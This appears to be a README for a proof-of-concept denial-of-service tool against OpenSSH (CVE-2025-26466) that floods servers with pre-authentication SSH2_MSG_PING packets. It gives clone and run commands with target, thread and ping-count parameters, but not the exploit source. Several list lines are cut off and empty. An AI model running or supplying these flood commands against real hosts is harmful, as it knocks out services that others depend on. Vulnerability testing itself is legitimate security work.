
CVE-2025-26466 OpenSSH SSH2_MSG_PING DoS PoC
Disclaimer: This code is intended exclusively for educational purposes and authorized security testing. Unauthorized attacks against third-party systems are illegal.
CVE-2025-26466 is a pre-authentication denial-of-service (DoS) vulnerability in OpenSSH that allows an SSH server to be overwhelmed before the completion of the key exchange.
The server accepts SSH2_MSG_PING packets (Message Type 192) already during the initial handshake, without an authenticated connection existing. This leads to:
# Clone repository
git clone https://github.com/acidboonrs/cve-2025-26466-openssh-poc.git
cd cve-2025-26466-openssh-poc
# Make executable (optional)
chmod +x poc.py
No additional dependencies required (standard library only).
python3 poc.py 192.168.1.10
python3 poc.py <target-host> [port] [threads] [pings]
Parameters:
<target-host> - Target IP or hostname (required)[port] - SSH port (default: 22)[threads] - Number of parallel connections (default: 10)[pings] - PINGs per connection (default: 500)# Default: localhost, port 22, 10 threads, 500 PINGs
python3 poc.py localhost
# Increased load: 50 threads, 1000 PINGs
python3 poc.py 192.168.1.10 22 50 1000
# Custom port
python3 poc.py example.com 2222 20 800
MIT License - see LICENSE for details
This PoC is published because:
Use this code only:
Unauthorized DoS attacks are punishable by law!
Author: Vollassiliz (voidcall.dev)
Created: 2025-01-29